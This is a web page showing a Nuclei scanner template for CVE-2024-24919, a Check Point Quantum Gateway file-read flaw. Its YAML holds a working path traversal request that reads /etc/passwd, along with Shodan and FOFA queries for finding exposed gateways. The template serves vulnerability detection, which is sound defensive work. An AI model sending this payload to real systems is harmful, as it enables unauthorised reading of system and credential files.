Check Point Quantum Gateway - Information Disclosure

ID: CVE-2024-24919

Severity: high

Author: johnk3r,s4e-io

Tags: cve,cve2024,checkpoint,lfi,kev

Description

Potentially allowing an attacker to read certain information on Check Point Security Gateways once connected to the internet and enabled with remote Access VPN or Mobile Access Software Blades. A Security fix that mitigates this vulnerability is available.

YAML Source

id: CVE-2024-24919

info:
  name: Check Point Quantum Gateway - Information Disclosure
  author: johnk3r,s4e-io
  severity: high
  description: |
    Potentially allowing an attacker to read certain information on Check Point Security Gateways once connected to the internet and enabled with remote Access VPN or Mobile Access Software Blades. A Security fix that mitigates this vulnerability is available.
  reference:
    - https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/
    - https://support.checkpoint.com/results/sk/sk182337
    - https://s4e.io/tools/check-point-quantum-gateway-information-disclosure-cve-2024-24919
    - https://thehackernews.com/2024/05/check-point-warns-of-zero-day-attacks.html
    - https://censys.com/cve-2024-24919/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2024-24919
    cwe-id: CWE-200
    epss-score: 0.94543
    epss-percentile: 0.99271
    cpe: cpe:2.3:h:checkpoint:quantum_security_gateway:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: checkpoint
    product: quantum_security_gateway
    shodan-query:
      - html:"Check Point SSL Network"
      - http.html:"check point ssl network"
    fofa-query: body="check point ssl network"
  tags: cve,cve2024,checkpoint,lfi,kev

http:
  - raw:
      - |
        POST /clients/MyCRL HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip

        aCSHELL/../../../../../../../etc/passwd

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*"
          - "nobody:.*"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022013f5d355d6185978aa9a93c83e98a9e2e54e3ee6748013d3ace1831848471d7d022100ee07bc296b6aac497cdf9712f628b92329addd33eee235f7c6dede2243dc2084:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-24919.yaml"

View on Github